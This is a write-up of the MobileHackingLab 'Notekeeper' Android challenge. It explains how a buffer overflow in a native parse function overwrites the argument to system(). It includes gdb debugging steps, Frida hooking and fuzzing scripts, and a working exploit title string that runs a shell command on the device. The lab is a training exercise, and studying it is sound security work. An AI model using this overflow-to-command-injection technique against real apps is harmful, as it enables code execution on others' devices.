Buffer-overflow in Android native code — MobileHackingLab ‘Notekeeper’ Write-up
Exploiting a Buffer-overflow bug in a native library function in an Android App to gain code execution.
This post contains the solution to the lab challenge. If you’d like to try the lab first, try it over here : https://www.mobilehackinglab.com/course/lab-notekeeper
Objective
The challenge objective says the following :
Exploit the buffer overflow vulnerability and achieve Remote Code Execution (RCE)
Discovery & Exploitation
I tried running the app and played around a bit. There’s an option to create a ‘note’ and there are two fields. Putting in a long string in one of them (the title) causes the app to crash. This was the intuition since the bug is a buffer overflow.
The app hit SIGSEGV and exited, detailed backtrace could be seen in logcat.
I reversed the app and looked for native functions. I found one parse
.
As we expected, parse processes the title
.
I reversed libnotekeeper.so
in cutter and saw how parse is written parse
.
At first it’s difficult to understand anything — this is the first time I’m reversing an arm binary — I could just spot a memcpy
call, and arguments being handled. There's a system
call in-built. So we could guess that our objective would be to jump into this address to get the execution. Also, from the attacker perspective, only alphanumeric input could be inserted into the app fields - not any addresses post info leak. So, this should be something simple and straightforward.
I decided to debug the function using gdb to further understand the logic. I made the libs available in the android device, as well as libnotekeeper.so
for gdb in a local folder for it to get the function definitions to make debugging easier.
# in the debugging host shell
mkdir dbglibsso
cd dbglibsso
adb pull /system/lib64 .
adb forward tcp:1337 tcp:1337
# obtain pid of running app
adb shell ps -a | grep mobile
# within device
shell gdbserver :1337 --attach <pid>
# back to host shell
gdb
> target remote :1337
> set solib-search-path ~/dbglibsso/:~/dbglibsso/lib64
> set follow-fork-mode parent
> disassemble Java_com_mobilehackinglab_notekeeper_MainActivity_parse
> b Java_com_mobilehackinglab_notekeeper_MainActivity_parse
I put breakpoint at the function Java_com_mobilehackinglab_notekeeper_MainActivity_parse
, and added a note in the app to trigger the function.
ChatGPT came in very handy here to help me understand the assembly instructions.
I understood that memcpy
is not the one introducing the bug, rather the for
loop that copies title
string into stack in a way that overwrites the argument of system
function.
From here, I thought it would be easier to solve the problem by fuzzing the parse()
function using frida, while intercepting system
and seeing how it's input varies.
function intercept_sys(){
let system_addr = Module.findExportByName("libc.so", "system");
Interceptor.attach(system_addr, {
onEnter: function (args) {
console.log("system(): ", args[0].readUtf8String())
}
})
}
I used a cyclic pattern to find the right offset from which the bug occurs.
The following frida code was used to fuzz parse
on it's invocation. There are better ways to invoke the function, I chose this bit hacky way because rest of the methods were throwing weird errors for me.
// pwn.cyclic(0x260)
var fuzz_str = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaag"
function fuzz_parse(){
Java.perform(() => {
Java.use('com.mobilehackinglab.notekeeper.MainActivity').parse.overload('java.lang.String').implementation = function (a){
a = ""
for (var i = 0; i < fuzz_str.length; i++) {
a += fuzz_str[i]
let ret = this.parse(a)
console.log(ret)
}
return "Const"
}
})
}
We can see the offset string from which the argument of system
gets modified.
It starts from an offset 100
.
>>> pwn.cyclic_find('zaab') 100
We can use the following exploit input to exploit for effectively executing commands.
function exploit_parse(){
let exp = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
exp += "touch /data/data/com.mobilehackinglab.notekeeper/files/hacked #"
Java.perform(() => {
Java.use('com.mobilehackinglab.notekeeper.MainActivity').parse.overload('java.lang.String').implementation = function (a){
let ret = this.parse(exp)
return ret
}
})
}
Exploit string value (New note title) :
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaatouch /data/data/com.mobilehackinglab.notekeeper/files/hacked #
The command got executed.
Root Cause of the bug is that the for
loop is copyingg title
string into stack in a way that overwrites the argument of system
function.
Some useful references:
- Attaching gdb to a native library for Instagram : https://gist.github.com/sekkr1/6adf2741ed3bc741b53ab276d35fd047
- Cross-compiling gdbserver for android : https://stackoverflow.com/questions/60973768/build-gdb-and-gdbserver-for-android
- Peda-arm for GDB : https://github.com/alset0326/peda-arm/
- Clipper for using cli to copy to clipboard : https://stackoverflow.com/questions/53130653/how-to-copy-some-text-to-android-system-clipboard-using-adb
- Ajin’s Frida Challenges for understanding different frida usage : https://github.com/DERE-ad2001/Frida-Labs/
- Amazing series on playing with native functions in Frida : https://mobsecguys.medium.com/exploring-native-functions-with-frida-on-android-part-3-45422ae18caa